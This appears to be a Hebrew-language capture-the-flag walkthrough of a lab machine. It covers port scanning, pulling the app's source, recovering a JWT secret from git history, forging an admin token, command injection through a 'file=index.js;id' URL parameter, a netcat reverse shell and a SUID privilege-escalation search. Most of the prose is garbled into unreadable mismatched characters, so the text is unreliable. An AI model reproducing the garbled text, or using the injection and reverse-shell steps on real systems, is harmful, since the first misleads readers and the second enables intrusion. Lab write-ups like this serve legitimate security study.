˧˶˥˞ ˶˟˥˸ˮ˷ ˟πVPN ˢˮˣ˩ˬ˪ Σ˪˟˵ˮ ˸˞ ˸˟ˣ˸˩ sπIP ˢ˪˷ ΥмлΦмлΦммΦмнл Φˣ˞ˣ˟ ˪˧˥˸ˮΗ 

 

Recon 

˶ˠ˸˞˟ ˣˮ˪˟˧˵ ˸˟ˣ˸˩ IP Σ˨˩ ˶˟ˡˢ˷ ˭ˣ˷˞˶ˢ ˢ˷˰ˮ˷ ˞ˣˢ ˶˶˟˪ ˣ˪˧˞ ˫˧˸ˣ˶˧˷ ˫˧˥ˣ˸˲ ˳ˣ˥˟ˬ Φˢ˷˰ˮ ˸˞ˤ 

˸ˣ˰˴ˬ˞˟ ˧˪˩ˢ ˟˧˟˥ˢ Nmap Φ˰˴˟ˮ ˢˢ˵˧˶˯ ˸˧˯˧˯˟Υ 

sudo  nmap 10. 10. 11. 120  - sV 

ˢ˵˧˶˯ˢ ˞˪ ˢ˟˧ˮˢ ˸ˣ˞˴ˣ˸ ˸ˣ˟˶ Σ˨˞ ˢ˞˶ˮ ˫˧˥ˣ˸˲˷ ˸ˣ˥˲˪ ˧ˮ˷ ˫˧˦˶ˣ˲ Φ 
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˧˲˩ ˫˸˞˷ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˢˮˣˬ˸˟ ˢ˦ˬ Υ˦˶ˣ˲ оллл ˦˶ˣ˲ˣ ул ˫˧˥ˣ˸˲Φ 

 

ϐˣˬ˧˷ ˟˪ ˦˶ˣ˲˪ нн ˥ˣ˸ ,˨˞  ,ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ ˞˪˭ˣ˧˩ˬ ˷-уΦн ˪˷ ssh ˞˪ ˰˧ˠ˲ ˭ˣ˩ˮ ˫ˣ˧ˢ˪ώ 

 

˫˞ ˫˧˷ˮ ˟˪ Σnmap ˢˢ˧ˤ ˧˩ ˶˟ˣˡˬ ˸ˣ˶˧˷˟ ˟˧ˠˬˢ ˣ˸ˣ˞˟ ˪ˣ˵ˣ˦ˣ˶˲ˢ ύHTTP ό˨˞ ˡ˵˲˸ˬ ˧ˮ˷˪ ˫˧˩˶˴ 

˫˧ˮˣ˷ ΥDOCS xπREST APIΦ ˫ˢ˧ˮ˷˟ ˷˧ ˸ˣ˞˶ˣˢ ˢˬ˷˶ˢ ˸ˣ˶˟˥˸ˢˣ ˸˩˶˰ˬ˪Υ 

 

˪˧˥˸ˮ ˶ˣ˵˯˪ ˸˞ ˦˶ˣ˲ оллл ˷˲˥˪ˣ ˫˧ˤˬ˶ ˱ˡ˟ Φ˪˩ˣˮ ˫˧˷˪ ˟˪ ˷˧˷ ˣˮ˪ ˸ˣ˶˷˲˞ ˡ˧˶ˣˢ˪ ˸˞ ˡˣ˵ ˶˸˞ˢ 

˸˥˸ ˶ˣ˷˧˵ˢ ΥDownload Source Code Φ˶˟˰ˬ ˪˰ ˡˣ˵ˢ ˪ˣ˩˧ ˶ˣˤ˰˪ ˣˮ˪ ˭˧˟ˢ˪ ˸˞ ˪˩ ˬˢ˷ˣˬ˧ ˡ˴˟ ˸˶˷ 

˷˲˥˪ˣ ˸ˣ˴˶˲ ˸˩˶˰ˬ˟ Φ˷˧˷˩ ˣˮ˪ ˸˞ ˡˣ˵ ˶ˣ˵ˬˢ Σˢˡˣ˟˰ˢ ˸˩˲ˣˢ ˸ˣ˧ˢ˪ Ϧˢ˪˵ Ϧ˶˸ˣ˧ Σˤ˞ ˧˪˟ ˟˷ˣ˥˪ 

˫˧ˬ˰˲ ˵˧˸˰ˮ ˸˞ ˶ˣ˷˧˵ ˡ˧˶ˣˮˣ ˢˮˣ˩ˬ˪ ˣˮ˪˷Υ 
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ˢ˞˶ˮ ˶˟ˣˡˬ˷ ˳˟ˣ˵˟ ZIP Φˡ˧˶ˣˮ ˳˪˥ˮˣ ˸˞ ˢˬ ˷˧˷ ˣ˸˟ˣ˩Υ 

$ wget  http :// 10. 10. 11. 120 : 3000 / download / files.zip  

$ unzip  files.zip  
 

ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˸˞ ˡˣ˵ ˶ˣ˵ˬ ˪˷ ˡ˴ ˸˶˷ˢ ˟πNode.jsΥ 

 

˥˸˲ˮ ˸˞ ˢ˧˧˵˧˸ ˨˶ˣ˰˟ ˡˣ˵ ˟ˢˣ˞ˢ ˣˮ˧˪˰ ύvs-code Σόˣ˶˧˧˯ˮ ˭˧˟ ˵ˢ˫˧˴˟ ˧ˡ˩ ˭˧˟ˢ˪ ˸˞ ˬˢ˸˩˶˰ Φ˦˶˲˟ Σ

ˢ˯ˮˮ ˭˧˟ˢ˪ ˫˞ˢ ˷˧ ˣˮ˪ ˢ˷˪ˣ˥ ˪˩ˣˮ˷ ˪˴ˮ˪ ˶˷˞ ˫ˡ˵˸ ˣˮ˸ˣ˞Φ ˣˮ˥ˮ˞ ˞˪ ˫˧˩˧˶˴ ˸ˣ˧ˢ˪ ˧˸ˮ˩˸ˬ node 

˫˧ˬ˪˲ˣˡˬ Σ˪˩ ˢˬ ˨˧˶˴˷ ˸˰ˡ˪ ˞ˣˢ ˸˞ ˯˧˯˟ˢ Σ˸ˣˮˣ˶˵˰ˢ ˫˧ˢˤ ˦˰ˬ˩ ˪˩˟ ˸ˣ˲˷ ˸ˣˮ˩˸ˢΦ 

˫˞ ˶ˣ˟˰ˮ ˭˧˟ ˪˩ ˫˧˴˟˵ ˨ˣ˸˟ ˢ˧˧˵˧˸ routes Σ˰˧ˠˮ ˳˟ˣ˵˪ ˫˷˟ private.js Φ˫˞ ˶ˣ˟˰ˮ ˣ˧˪˰ ˢ˞˶ˮ ˢ˶ˣ˷˟˷ 

оф ˷˧ ˵˪˥ ˭˧˧ˮ˰ˬ ˷ ˭˸˧ˮ ˢ˧ˢ˧ ˧˪ˣ˞˪˴ˮ˪ ˸˟ˣ˦˪ ˸˴˶ˢ ˡˣ˵Η 
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ˣ˞ˣ˟ ˞˶˵ˮ ˢˬ ˢ˶ˣ˵ ˵ˣ˧ˡ˟ ˸ˣ˶ˣ˷˟ он-рр Σˢ˯ˮˮ ˭˧˟ˢ˪ ˨˧˞ ˪˩ˣˮ ˰˧ˠˢ˪ ˢ˲˪ Σˢˬˣ ˸ˣ˷˧˶ˡ ˣˮ˥ˮ˞˷ ˫˧˩˧˶˴ 

˪ ˧ˡ˩˷ˬˬ ˸˞ ˢ˷˵˟ Φ˫˞ ˫˧˷ˮ ˟˪ Σ˸˶˟˰ˣˬ ˢ˧˴˵ˮˣ˲ ˫˷˟ Ϧverifytoke ΣϦ˞ˣ ˫˷˲˥ˮ ˢ˸ˣ˞ ˡˣ˵˟ ˬˢ˶ˣ˵ 

˞˴ˬˮ ˸˞ ˡˣ˵ ˞˟ˢΥ 

 

ˢ˞˶ˮ ˸˩˶˰ˬ˷ ˞ˢ˸ˣˬ˧ ˪˷ ˷ˬ˸˷ˬˢ ˸˰˴˟˸ˬ ˸ˣ˰˴ˬ˞˟JWT  π JSON Web TokenΦ 

 

 ˪˰ ˦˰ˬJWT 

 JSON Web Token Σ˞ˣˢ ˞ˣˢ ˭˵˸ ˥ˣ˸˲ ˯˯ˣ˟ˬ JSON ˸˶˧˴˧˪ ˥˸˲ˬ ˢ˷˧ˠ ύAccess Tokenό ˷ˬ˷ˬˢ 

ˢ˧˴ˡ˧˪ˣˣ˪ ˪˷ Ϧ˫˧˶˦ˬ˶˲ύ Ϧ˭ˣˠ˩ ˫˷ ˷ˬ˸˷ˬ Σ˸ˣ˞˷˶ˢ Σˢˬ˯˧˯ Φόˢˬˠˣˡ˪ Σ˸˶˷ ˪ˣ˩˧ ˶ˣ˴˧˪ ˥˸˲ˬ ˭˰ˣ˦ˢ ˷-

Ϧˢ˰˴ˣ˟ ˢ˯˧ˮ˩ ˪ˢˮˬ˩ ˸˩˶˰ˬ Ϧ˵˲˯˪ˣ ˸˞ ˥˸˲ˬˢ ˥ˣ˵˪˪ Φ˥ˣ˵˪ˢ ˪ˣ˩˧ ˶˥˞˪ ˭˩ˬ ˷ˬ˸˷ˢ˪ ˥˸˲ˬ˟ 

ˢˬ˧˸˥˩ ˸˶˷˞ˬˢ ˞ˣˢ˷ ˪ˢˮˬ ˸˩˶˰ˬ Φ˸ˣ˥˸˲ˬˢ ˫˧ˬˣ˸˥ ˪˰ ˧ˡ˧ ˥˸˲ˬ ˧ˡˣ˥˧˧ ˪˷ ˸˶˷ˢ Σ˨˩ ˥ˣ˵˪ˢ˷ 

˸˶˷ˢˣ ˫˧˪ˠˣ˯ˬ ˪˩ ˡ˥˞ ˡ˶˲ˮ˟ ˞ˡˣˣ˪ ˥˸˲ˬˢ˷ ˧ˬ˧˦˧ˠ˪Φ 

˧˲˩ ˢˤ˷ ˢ˞˶ˮ Σˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˶ˣ˴˧˪ JWT ˧ˡ˩ ˸˶˷ˢ˷ ˢˢˤ˧ ˣˮ˸ˣ˞ Σ˞˨ ˫˞ ˫˧˷ˮ ˟˪ ˢˮˣˬ˸˟ ˸ˬˡˣ˵ˢ 

ˢ˶ˣ˷˟ от ˰˴˟˸ˬ ˧˞ˮ˸  ˫˷˟ ˷ˬ˸˷ˬ ˫˰ ˶˟˥˸ˢ˪ ˣˮ˸ˣ˞ ˟˧˧˥ˬ˷ϦtheadminϦ Φˤ˞ ˨˧˞ ˫˧ˬ˷˶ˮ? 
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˶ˣˤ˥ˮ ˡˣ˰˧˸˪ ˣˮ˪˷ ˦˶ˣ˲˟ оллл Σ˪˩˸˯ˮˣ ˪˰ ˱ˡ register userΦ ˦˧˟ˮ ˡˣ˰˧˸˟ ˸˞ ˢ˞˶ˮˣ ˠˣ˯ ˟ˢˢ˷˵ 

ύGET\POST ό˷ˢ ˸˞ ,˥ˣ˪˷˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞˟˧˸ˮ sx˦ˬ˶˲:˭˧ˤˢ˪ ˣˮ˧˪˰˷ ˫˧˶ 

 

˷ˬ˸˷ˮ ˟πcurl ˪˧˟˷˟ ˥ˣ˪˷˪ ˸˞ ˟ˢˢ˷˵, ˞ ˭˟ˣˬ˩ ˫˸˫˧˪ˣ˩˧ ˡˣ˟˰˪ ˫˰ ˪˩ ˧˪˩ ˶˥˞ ˣ˴˶˸˷: 

 

,ˣˮ˥˪˴ˢ ˞˪˷ ˢ˞˶ˮ  ˢ˶ˣˬˢ ˢ˞˧ˠ˷ ˣˮ˪˟˧˵ ˤ˞ .˧ˮˣ˧ˠˢ ˧ˡ ˪˩ˢ ˨˯ ,˸˩˶˰ˬ˟ ˫˧˧˵ ˶˟˩ ˢˤˢ ˷ˬ˸˷ˬˢ ˧˩

 ˢˤ˩ ˷ˬ˸˷ˬ˩ ˫˷˶ˢ˪ ˫ˣ˵ˬ˟˷ ˢ˞˶ˮ- ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˪ ˣˮ˥ˮ˞ .˫˧˧˵ ˶˟˩˷ ˭ˣ˟˷˥˪ ˶˟˥˸ˢ˪ ˨˧˞ ˭˧˟ˢ

 ˟ˣ˷˥˪ ˫˧˩˧˶˴˪˰ ˫˧˩˶ˡ ˭˸˶ˤ˰˟ ˧˪ˣ˞ ˪˩ˣˮ ˱ˣ˵˰˪ ˸˞ ˭ˣˮˠˮˬ ˸ˣˬ˧˞ˢ Φ˶ˣˤ˥ˮ ˟ˣ˷ ˸˧˧˴˵ˮˣ˲˪ ˸ˣˬ˧˞ˢ 

ύverifytoken όˮˣ˪ ˢ˯ˮ˶˶˟ ˫˞ ˷˧ ˣˮ˪ ˨˶ˡ ˶˴˧˧˪ JWT ˣˮ˪˷ˬ. 
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˫˧˷ˮ ˟˪ ˟˷˪˧˟˷ ˫ˣ˸˥˪ JWT ˷ˡ˥ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˢˬ˯˧˯ ˸ˬ˵ˣˬˬ˷ ˨ˣ˸˟ ˫˧ˮ˸˷ˬ ˫˧˧˸˟˧˟˯ ˸˥˸ ˫˷ˢ 

ύTOKEN_SECRETόΥ 

 

˫˧ˬ˰˲ ˦˰ˬ ˞˪ ˥˸˲ˬ˫˧ ˫˧˥˩ˣ˷ ˫˧˴˟˵ ˫˧˷˧ˠ˶ ˸˟˧˟˯˟ s-Production. ˧˪ˣ˞ ˣ˥˩˷ ˣ˸ˣ˞ ˳˟ˣ˵˟ .env 

ˣˮ˧˞˶˷ ˫ˡˣ˵ ˭˩˪ ˢ˧˵˧˸˟: 

 

 ˶˴˧˧˪ ˢ˯ˮˮ ˣ˞ˣ˟ !˭˧˧ˮ˰ˬtoken .ˣˮ˪˷ˬ 
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˸ˠ˷ˢ ˢ˷˧ˠ 

ˢ ˸˞ ˪˟˵ˮ ,˸˩˶˰ˬ˟ ˪˧ˠ˶ ˷ˬ˸˷ˬ ˭ˣ˟˷˥ ˶ˣ˴˧ˮ ,˫˧˟˪˷ˢ ˣˮ˪ ˶˴˵˪ˣ ˨˧˪ˢ˸ˢ ˸˞ ˦˷˲˪ ˸ˮˬ ˪˰-JWT 

 .ˢ˩˧˶˰ ˰˴˟ˮ ˣ˧˪˰ˣ ˣ˪˷˫˷˶ˮ ˸˥˸ ˫˷ ˷ˬ˸˷ˬˢ ϦtheworkerϦ ˮˣ ,ˢ˥˪˴ˢ˟ ˶˟˥˸˪˟˵ˮ ˸˞ s-JWT 

ˣ˸ˣ˞˷ ˢ˴˶ˮ ˨ˣ˶˰˪: 

 

˸˰˩ ˵ˣ˶ˤˮ ˸˞ ˣ˸ˣ˞ ˨ˣ˸˪ ˶˞˸ˢ  ˢ˪ˣ˰ˬˢ˞˟ˢ ˨ˣ˶˰ˮˣ ˸˞ ˷ˢˢˡ ϦnameϦ ˷˨ˣ˸˟ s-payload Φ˱ˣ˯˟ ˯˧ˮ˩ˮ 

˩ˢˬ˯˧˯: secretΥ 

 

˸˰˩ ˷˧ ˣˮ˪ JWT ˫ˣ˸˥ Ηˣ˞ˣ˟ ˵ˣˡ˟ˮ ˫˞ ˞ˣˢ ˡ˟ˣ˰. 

  

https://jwt.io/
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˳˧˶ˮ ˟ˣ˷ ˸˞ curl ˢ˞˶ˮˣ ˫˞ ˷˧ ˣˮ˪ ˢ˷˧ˠΥ 

 

˰ˣ˶˪ ˣˮ˪ˤˬ s-JWT ˞˪ ˭˧˵˸ L 

˧˪ˣ˞ ˢˬ˯˧˯ˢ ˥˷˸ˣˮˬ ˢ˸˧˞ ˞˪ ˢˮˣ˩ˮ Φ˞˪ ˷˞˧˧˸ˮ ˷˲˥ˮˣ ˵ˣˬ˰ ˶˸ˣ˧ !ˡˣ˵˟ ˫˞ ˤ˩˶˸ˮ ˫˧˴˟˵˟ ˣ˶˧˞˷ˢ˷ 

˪,˫˧˥˸˲ˬˢ ˣˮ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˸ˣ˞˶˪ ˸˞ ˢ˧˵˧˸ˢ .git Σˤ˸˞ ˢ˧˧˵˧˸ ˢ˪˧˩ˬ˷ ˸˞ ˡˣ˵ ˬˢ˶ˣ˵ ˣˮ˴˪˧˥˷ ˭ˣ˩ˮ ˢˤ .

 ˢ˧˵˧˸˟ ˨˞ ,˶ˣ˵ˬˢ ˡˣ˵ ˸˞ ˶˟˩.git  ˞˯˶ˠ ˞ˣ˴ˬ˪ ˪˩ˣˮ ˭ˢ˟ ˧˪ˣ˞ˣ ,ˡˣ˵ˢ ˪˷ ˸ˣˮ˷˧ ˸ˣ˞˯˶ˠ ˠ˧˷ˢ˪ ˪˩ˣˮ

 .˧˸˧ˬ˞ˢ ˢˬ˧˸˥ˢ ˥˸˲ˬ ˫˰ˢ˯ˮˮ ˶ˤ˥˷˪ ˸˞ ˡˣ˵ ˶ˣ˵ˬˢ ˫˧˧˵˷ ˣ˸˟ ˢ˧˵˧˸ˢ ˨˸ˣ˰˴ˬ˞˟ ˧˪˩ˢΥ 

https://github.com/internetwache/GitTools 

ˣˮ˥ˮ˞ ˷ˬ˸˷ˮ ˟π Extractor ˳˧˶ˮˣ ˸˞ ˢˡˣ˵˲ ˢ˞˟ˢΥ 

 

ˬˢˬ˧˧˸˯ˢ˷ ˯ˢˢ˵˧˶ ,˶˴ˣˣ˸  ˣˮ˪ˢˢ˧˧˵˧˸ Ϧold_sourceϦ .˷ˠ˧ˮ ˢ˧˪˞ ˵ˣˡ˟ˮˣ ˸˞ ˵ˢ ˪˷ ˸ˣˮ˷˧ ˸ˣ˞˯˶ˠ˳˟ˣ 

.env ˭˧˧ˮ˰˷ ˣˮ˸ˣ˞: 

 

ˢ˞˶ˮ  ˫˷ ˣˮ˪ ˷˧ ˭˩˞˷Token  .˧˶ˮˠ ˸ˣ˥˲ ˢ˟˶ˢ ˢ˞˶ˮ ˫ˠ ˞ˣˢˣ !˶˥˞ˣ˞ˣ˟ ˢ˯ˮˮ ˢ ˸˞ ˣ˸˶ˤ˰˟ ˫ˣ˸˥˪-

JWT ˣˮ˩˶˰˷Η 

˧˶˥˞ ˣˮˬ˸˥˷ ˣ˞ˣ˟ ˵ˣˡ˟ˮ ˫˞ ˞ˣˢ ˞˭˩ ˭˧˵˸: 

https://github.com/internetwache/GitTools
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ˤ˞ ˷ ˢ˞˶ˮ˸˰˩ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˶˟˥˸ˢ˪ ˩-theadmin Σ˸ˣˬˡ˵˸ˢ ˢ˲˧Φ ˢˤ ˭ˬˤˢ ˸ˣ˯ˮ˪  ˡˣ˵ˢ ˰˦˵ ˸˞ ˪˴ˮ˪

:ˡˣ˵ ˸˴˶ˢ˪ ˰˧ˠ˲˩ ˡˣ˷˥ ˢ˧ˢ˷ 

 

ˢ˪˧˥˸ ˵˧˶ˤˮ ˢˡˣ˵˲ ˸˧˶ˮˠ ˢ˶˦ˬ˟ ˸ˣ˞˶˪ ˫˞ ˢ˧˶ˣ˞˸ ˣˮ˪˷ ˭˩˞ ˸ˡ˟ˣ˰Φ ˢ˯ˮˮ ˯˧ˮ˩ˢ˪ ˶˦ˬ˶˲˟ file Σ˱˯ˣˮ˟ 

˫˷˪ ˳˟ˣ˵ˢ ˫ˠ ˸˞  :˸ˤˣ˶˥ˬˢϦ;idϦ ˭˩ ˧ˮ˲˪ .ˡˡˣ˵ˮ ˸ˣ˞ ˟sπurl encodeΣ ˢˬ ˢ˞˶˧˷ ˱ˣ˯˟ ˨˩Υ 

http://10.10.11.120:3000/api/logs?file=index.js+;+id 

:˦˪˲˟ ˢ˲˴ˮˣ ˢ˷˵˟ˢ ˸˞ ˥˪˷ˮ 

 

 !ˢ˪ˣ˰ˬˢˤ ˡ˟˰ Η˰˧ˠˢ ˭ˬˤ ˠ˧˷ˢ˪ˣ ˸ˣ˯ˮ˪ reverse shell ˧ˡ˩ ˪˩ˣˮ˷ ˶ˣ˵˥˪ ˸˞ ˶˷ˢ ˸˸ˣ˪˵˟ Φ ˶˸˞˟˞˟ˢ 

 ˭ˣˣˠˬ ˠ˧˷ˢ˪ ˪˩ˣˮreverse shells x-payloadπ˫˧ ˫˧ˮˣ˷. ˯ˮ˩ˮ ˮxˢˮ˷ ˸˞  ˸˟ˣ˸˩) ˣˮ˪ ˫˧˦ˮˣˣ˪˶ˢ ˫˧˶˦ˬ˶˲ˢ

IP x-Port ˟ ˭˧ˤ˞ˮ ˣ˧˪˰˷-Kali . 

  

http://10.10.11.120:3000/api/logs?file=index.js+;+id
https://www.revshells.com/
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˧ˮ˞ ˞˶˥˟ ˫˰˲ˢ ˟πPython3 ˪˩˩˷ ˢ˞˶ˮˢ ˭˵˸ˣˬ ˪˰ ˢˮˣ˩ˬˢ: 

 

ˡˡˣ˵ˮ ˣ˸ˣ˞ ˨˩: 

 

ˢ˯ˮˮˣ ˵˧˶ˤˢ˪ ˣ˸ˣ˞ ˸˰˩ ˶˦ˬ˶˲˟ ˰˧ˠ˲ˢ ˫ˣ˵ˬ˟ " ˢˡˣ˵˲ˢid Ϧˣˮ˵˶ˤˢ˷ ˫ˡˣ˵ ˭˩˪. 
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˪˧˟˵ˬ˟˥˸˲ˮ , ˟˭ˣ˪˥ ˱˯ˣˮ shell ˭˧ˤ˞ˬ ˸ˣ˰˴ˬ˞˟ Netcat ˪˰ ˦˶ˣ˲ ˣˮ˶˥˟˷ Σ˳˧˶ˮˣΥ 

 
ˢ˲˧  !ˡˣ˞ˬ ˣˮ˪ ˷˧Shell  ˸˶˷ˢ ˪ˣˬ ˧˟˧˦˵˶˦ˮ˧˞-  ˢ˧˵˧˸˟ ˪˩˸˯ˮ ˫˞ !˸˩˶ˣ˟ˬ ˸ˣˬˡ˵˸ˢ/root  ˢ˞˶ˮ

 ˫˷˟ ˳˟ˣ˵ ˢ˟ ˷˧˷root.txt  ˸˷˧ˠ ˠ˧˷ˢ˪ ˫˧˩˧˶˴ ˣˮ˥ˮ˞ .˞ˣ˶˵˪ ˸ˣ˞˷˶ˢ ˣˮ˪ ˭˧˞˷root! 
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Privilege escalation 

˰˧ˠˢ ˭ˬˤˢ ˫˧˪˯ˢ˪ ˸ˣ˞˷˶ˢ ˸ˮˣ˩ˬ˟ ˶˟ˣˡˬ .linux ˧˴˟˵ ˷˲˥˪ ˞˧ˢ ˸ˣ˞˷˶ˢ ˭˧˟ ˰ˣˮ˪ ˫˧˩˶ˡˢ ˸˥˞ ,

 ˪ˠˡˢ ˫ˢ˟ ˵˪ˡˣˬ˷ ˢ˴˶ˢsuid ˫˸ˣ˞ ˳˧˶ˮ (˷˪˥ ˷ˬ˸˷ˬ˩) ˣˮ˥ˮ˞˷˩˷ ˨˩ ,π ˩ ˣ˴ˣ˶˧ ˭˧˧ˡ˰ ˫ˢ-root ˤ˞ˣ ,

 ˸ˣ˞˷˶ˢ˟ ˸ˣ˪ˣ˰˲ ˰˴˟˪ ˣˮ˪ ˶˷˲˞˸ ˞˧ˢ ,ˢ˷˪ˣ˥ ˫ˢ˟ ˞ˣ˴ˬ˪ ˥˧˪˴ˮ ˫˞root ˫˧˴˟˵ ˞ˣ˴ˬ˪ ˢ˪˵ ˨˶ˡ .

 ˢˡˣ˵˲ˢ ˸ˣ˰˴ˬ˞˟ ˞˧ˢ ˢ˪˞˩find ˪ˠˡˢ ˫˰:˫˧˞˟ˢ ˫˧ 

find  /  - perm - u=s - type  f  1> / tmp / files.txt  2> / dev / null  

ˢ˲˴ˮ ˟˳˟ˣ˵ /tmp/files.txt ˮx˷˲˥ ˫˧˟˧˸ˮ ˫˧ˮ˧˧ˮ˰ˬ: 

 

:˞ˣˢ ˭˧˰ˢ ˸˞ ˧˪ ˯˲˸˷ ˳˟ˣ˵ˢ /opt/count Σ.ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˪˷ ˧˟˧˦˪ˣ˲˧ˡ ˳˟ˣ˵ ˣˮ˧˞ ˞ˣˢ˷ ˭ˣˣ˧˩ˬ  

ˣ˞ˣ˟ ˪˩˸˯ˮ ˪˰ ˪˩ ˫˧˴˟˵ˢ ˢ˧˧˵˧˸˟ ˢ˟ ˞ˣˢ ˞˴ˬˮΥ 

 








































































































































































































































































